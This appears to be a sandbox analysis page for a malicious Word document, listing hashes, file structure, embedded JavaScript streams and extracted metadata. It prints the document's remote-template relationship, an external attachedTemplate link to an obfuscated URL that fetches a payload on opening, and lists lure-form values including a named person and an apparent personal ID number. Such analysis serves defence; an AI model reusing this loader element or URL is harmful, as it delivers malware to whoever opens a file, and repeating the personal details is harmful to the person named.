Malicious
Malicious

d63b477b1d45356d3d41534c85c332ec

MS Word Document
|
MD5: d63b477b1d45356d3d41534c85c332ec
|
Size: 230.34 KB
|
application/msword

Print
Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
d63b477b1d45356d3d41534c85c332ec
Sha1
7f6cfac969a6448f3f0dfd69dd431fed8eb763c6
Sha256
980656e90b632746d4f57224ea93577972bb167b61fec5aa3b1148799a822165
Sha384
04092c30ced478f5af1683ccc3a1e619c9137947a297abef028aaf0aa91a8ae70ad01c5c40d0bb27f3f7d1f23cb1fa18
Sha512
22c797fe4fb7d1790e25565e5ccff6884a2a23210798991e1f6e696543841306ee16d12d20b0cf273b0e6f75a6c8abb6af54cd40700227ce9cf1f81d76cf8dfc
SSDeep
6144:oxD9xTaCRjTMPRdACyo+6kN7ffCm+O/PrGkFXrrFGcSwe:6DRjsmo+6eVPrGAbrFLe
TLSH
D934F1B4F09CD6D49D4213F9A04A1D4ED77C0FEE44AF11B279B2905EE06798A0DD2D3A
File Structure
d63b477b1d45356d3d41534c85c332ec
Malicious
[Content_Types].xml
_rels
.rels
word
Malicious
_rels
Malicious
document.xml.rels
header2.xml.rels
settings.xml.rels
Malicious
document.xml
footnotes.xml
footer3.xml
header3.xml
endnotes.xml
header2.xml
media
image2.emf
image1.emf
theme
theme1.xml
embeddings
oleObject1.bin
Root Entry
Ole
CompObj
ObjInfo
CONTENTS
Text (Preview)
Page #1
#Stream {109} - Javascript
#Stream {469}
#Stream {476}
#Stream {477}
#Stream {472}
#Stream {470}
#Stream {1587}
#Stream {1586}
#Stream {1584}
#Stream {1585}
#Stream {1580}
#Stream {1578}
#Stream {1577}
#Stream {1610}
#Stream {1611}
#Stream {1606}
#Stream {1604}
#Stream {1568}
#Stream {26}
#Stream {1602}
#Stream {1603}
#Stream {1598}
#Stream {1596}
#Stream {29}
#Stream {28}
#Stream {449}
#Stream {448}
#Stream {447}
#Stream {446}
#Stream {31}
#Stream {32}
#Stream {33}
#Stream {34}
#Stream {35}
#Stream {36}
#Stream {37}
#Stream {444}
#Stream {445}
#Stream {442}
#Stream {443}
#Stream {440}
#Stream {441}
#Stream {438}
#Stream {439}
#Stream {436}
#Stream {437}
#Stream {434}
#Stream {435}
#Stream {432}
#Stream {433}
#Stream {430}
#Stream {431}
#Stream {428}
#Stream {429}
#Stream {426}
#Stream {427}
#Stream {424}
#Stream {425}
#Stream {422}
#Stream {423}
#Stream {420}
#Stream {421}
#Stream {418}
#Stream {419}
#Stream {416}
#Stream {417}
#Stream {414}
#Stream {415}
#Stream {412}
#Stream {413}
#Stream {410}
#Stream {411}
#Stream {408}
#Stream {409}
#Stream {406}
#Stream {407}
#Stream {404}
#Stream {405}
#Stream {402}
#Stream {403}
#Stream {400}
#Stream {401}
#Stream {398}
#Stream {399}
#Stream {396}
#Stream {397}
#Stream {394}
#Stream {395}
#Stream {392}
#Stream {393}
#Stream {390}
#Stream {391}
#Stream {388}
#Stream {389}
#Stream {386}
#Stream {387}
#Stream {384}
#Stream {385}
#Stream {100}
#Stream {101}
#Stream {102}
#Stream {103}
#Stream {104}
#Stream {105}
#Stream {106}
#Stream {107}
#Stream {108}
#Stream {3}
#Stream {16} - Javascript
#Stream {15} - Javascript
Structure
Microsoft_Office_Excel_Worksheet1.xlsx
[Content_Types].xml
_rels
.rels
xl
_rels
workbook.xml.rels
workbook.xml
styles.xml
worksheets
_rels
sheet2.xml.rels
sheet1.xml.rels
sheet2.xml
sheet1.xml
theme
theme1.xml
sharedStrings.xml
printerSettings
printerSettings2.bin
docProps
core.xml
app.xml
settings.xml
fontTable.xml
styles.xml
webSettings.xml
docProps
app.xml
core.xml
Malware Configuration - Remote Template
Config. Field
 Value
Target

https://𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ@shct.io/jurbbq
Path

settings.xml.rels
XPath

/Relationships/Relationship
Outer XML

<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ@shct.io/jurbbq" TargetMode="External" xmlns="http://schemas.openxmlformats.org/package/2006/relationships" />
Informations
Name
 Value
CONTENTS

1.6
CONTENTS

TROX
CONTENTS

D:20111121181423+02'00'
CONTENTS

PScript5.dll Version 5.2.2
CONTENTS

D:20251018211827+03'00'
CONTENTS

Microsoft Word - docs12
CONTENTS

Acrobat Distiller 10.1.1 (Windows)
CONTENTS

TROX
CONTENTS

D:20111121181423+02'00'
CONTENTS

PScript5.dll Version 5.2.2
CONTENTS

D:20251018211827+03'00'
CONTENTS

Acrobat Distiller 10.1.1 (Windows)
CONTENTS

Microsoft Word - docs12
Artefacts
Name
 Value
Remote Template - Highly Suspicious

https://𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ𐐠𱠠Ｏ@shct.io/jurbbq
URI

/Helv 0 Tf 0 g
URI

fill_1
URI

Организация:
URI

ЯСМИН ХОЛИДЕЙЗ ЕООД
URI

fill_3
URI

№
URI

1
URI

fill_4
URI

дата:
URI

01.05.2025
URI

fill_5
URI

Да се плати на:
URI

РАДОСТИНА НИКОЛОВА
URI

fill_6
URI

ЕГН/ЕИК
URI

7812301039
URI

fill_9
URI

Основание:
URI

ДНЕВНИ ПО КОМАНДИРОВКА 8
URI

0
URI

fill_7
URI

Сумата:
URI

990.74
URI

BGN
URI

fill_8
URI

Валута:
URI

Text1
URI

деветстотин и деветдесет лв. и 74 ст.
URI

FR_00000_CALENDARBUTTON_fill_4
URI

/Helv 0 Tf 1 g
URI

January
URI

2
URI

February
URI

3
URI

March
URI

4
URI

April
URI

5
URI

May
URI

6
URI

June
URI

7
URI

July
URI

8
URI

August
URI

9
URI

September
URI

10
URI

October
URI

11
URI

November
URI

12
URI

December
URI

CalendarMonth
URI

CalendarYear
URI

2017
URI

/Helv 0 Tf 0.75 g
URI

CalendarFrame
URI

/HeBo 0 Tf 0 g
URI

Su
URI

Sunday
URI

M
URI

Monday
URI

Tu
URI

Tuesday
URI

W
URI

Wednesday
URI

Th
URI

Thursday
URI

F
URI

Friday
URI

Sa
URI

Saturday
URI

Day_1
URI

Day_2
URI

Day_3
URI

Day_4
URI

Day_5
URI

Day_6
URI

Day_7
URI

Day_8
URI

Day_9
URI

Day_10
URI

Day_11
URI

Day_12
URI

13
URI

Day_13
URI

14
URI

Day_14
URI

15
URI

Day_15
URI

16
URI

Day_16
URI

17
URI

Day_17
URI

18
URI

Day_18
URI

19
URI

Day_19
URI

20
URI

Day_20
URI

21
URI

Day_21
URI

22
URI

Day_22
URI

23
URI

Day_23
URI

24
URI

Day_24
URI

25
URI

Day_25
URI

26
URI

Day_26
URI

27
URI

Day_27
URI

28
URI

Day_28
URI

29
URI

Day_29
URI

30
URI

Day_30
URI

31
URI

Day_31
URI

FR_00000_Calendar
URI

CalendarHead
URI

dd.mm.yyyy
URI

Identity
URI

Adobe
URI

Times New Roman
URI

fill_2
URI

EИК
URI

204139647
d63b477b1d45356d3d41534c85c332ec (230.34 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙